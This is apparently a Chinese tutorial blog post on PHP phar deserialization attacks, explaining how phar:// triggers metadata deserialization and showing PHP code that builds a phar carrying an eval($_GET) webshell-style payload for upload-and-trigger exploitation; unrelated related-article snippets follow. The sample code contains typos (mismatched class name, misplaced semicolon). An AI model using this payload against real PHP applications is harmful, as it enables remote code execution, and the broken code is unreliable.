PHP反序列化8(phar反序列化)

server/2024/12/22 23:15:36/

考点8:phar反序列化

<aside> 💡

使用条件

</aside>

文件上传时,不必要.phar后缀,文件上传不是难点!!!(phar伪协议自动解析成.phar文件)

phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。

使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。

这就引出了我们攻击手法最核心的流程。

流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化

最后一步是寻找触发phar文件元数据反序列化。

其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时

都会将meta-data字段进行反序列化。

<?php
class Testobj {public $output="";
}@unlink("test.phar");                    // 删除名为 test.phar 的文件(如果存在)
$phar = new Phar("test.phar");           // 创建一个名为 test.phar 的 Phar 对象
$phar->startBuffering();                 //开始写文件// 设置 Phar 对象的存根(stub)
$phar->setStub('<?php  __HALT_COMPILER();?>');//写入stub
$o = new Testobi();                      // 创建 Testobi 类的对象
$o->output = 'eval($_GET["a"];)'; 
$phar->setMetaData($o);                  //写入meta-data
$phar->addFromString("test.txt", "test");// 向 Phar 对象中添加一个名为 test.txt 的文件,内容为 "test"
$phar->stopBuffering();                  // 停止缓冲并将修改应用到 Phar 对象
?>

注意:两个页面,接收端(文件上传),输出端。


http://www.ppmy.cn/server/126118.html

相关文章

React生命周期以及Hook

React生命周期可概括为以下关键阶段&#xff08;针对类组件&#xff0c;函数组件主要通过Hooks实现类似功能&#xff09;&#xff1a; 挂载&#xff08;Mounting&#xff09;&#xff1a; constructor&#xff1a;初始化state和绑定事件处理函数。 render&#xff1a;返回组件的…

如何将自定义支付网关与 WooCommerce Checkout 区块集成

从 8.3 开始的 WooCommerce版本中&#xff0c;您可能会注意到您的自定义付款方式在结账区块中不可用。 例如&#xff0c;如果您尝试停用商店中除自定义付款方式之外的所有付款方式&#xff0c;您可能会收到如下错误消息&#xff1a; 这里我使用 Storefront 主题作为示例&#…

RabbitMQ的高级特性-延迟队列

延迟队列(Delayed Queue)&#xff0c;即消息被发送以后, 并不想让消费者⽴刻拿到消息, ⽽是等待特定时间后,消费者才能拿到这个消息进⾏消费 应用场景 延迟队列的使⽤场景有很多, ⽐如: 1. 智能家居: ⽤⼾希望通过⼿机远程遥控家⾥的智能设备在指定的时间进⾏⼯作. 这时候就可…

无人驾驶车联网5G车载路由器应用

无人驾驶车联网中&#xff0c;5G车载路由器的应用起到了至关重要的作用。以下是关于5G车载路由器在无人驾驶车联网中应用的详细分析&#xff1a; 5G车载路由器具备极低的时延特性&#xff0c;能够实现车与车之间、车与基础设施之间的快速通信。这对于无人驾驶技术尤为重要&…

智能扩展:通过小型模型初始化加速大型语言模型预训练

现代语言模型规模庞大&#xff0c;训练成本高昂。例如&#xff0c;训练一个120亿参数的模型大约需要72000 GPU小时。而小型语言模型虽然训练成本低&#xff0c;但准确性往往不足。在这篇论文中&#xff0c;作者提出了一种名为HyperCloning的方法&#xff0c;它可以将预训练的小…

vue2分页

HTML <!--下方分页区域--><el-paginationsize-change"handleSizeChange"current-change"handleCurrentChange":current-page"currentPage":page-sizes"[5, 10, 20]":page-size"100"layout"total, sizes, pre…

【Go】-基于Gin框架的IM通信项目

目录 项目介绍 项目分析 项目分层 初始化 首页功能 获取首页 注册 进入聊天界面 用户模块 创建用户 删除用户 修改用户信息 查找用户 通过名字和密码查找用户 获取用户列表 好友模块 获取所有好友 添加好友 发送消息 ws升级和订阅redis管道接收消…

如何在iPad上设置Chrome为默认浏览器

将Chrome设置为iPad上的默认浏览器&#xff0c;不仅能够享受到谷歌强大的搜索功能和丰富的扩展生态&#xff0c;还能通过一系列自定义设置来进一步提升浏览体验。本文将详细介绍如何在iPad上完成这一设置&#xff0c;并探讨如何通过优化Chrome浏览器的相关功能&#xff0c;让您…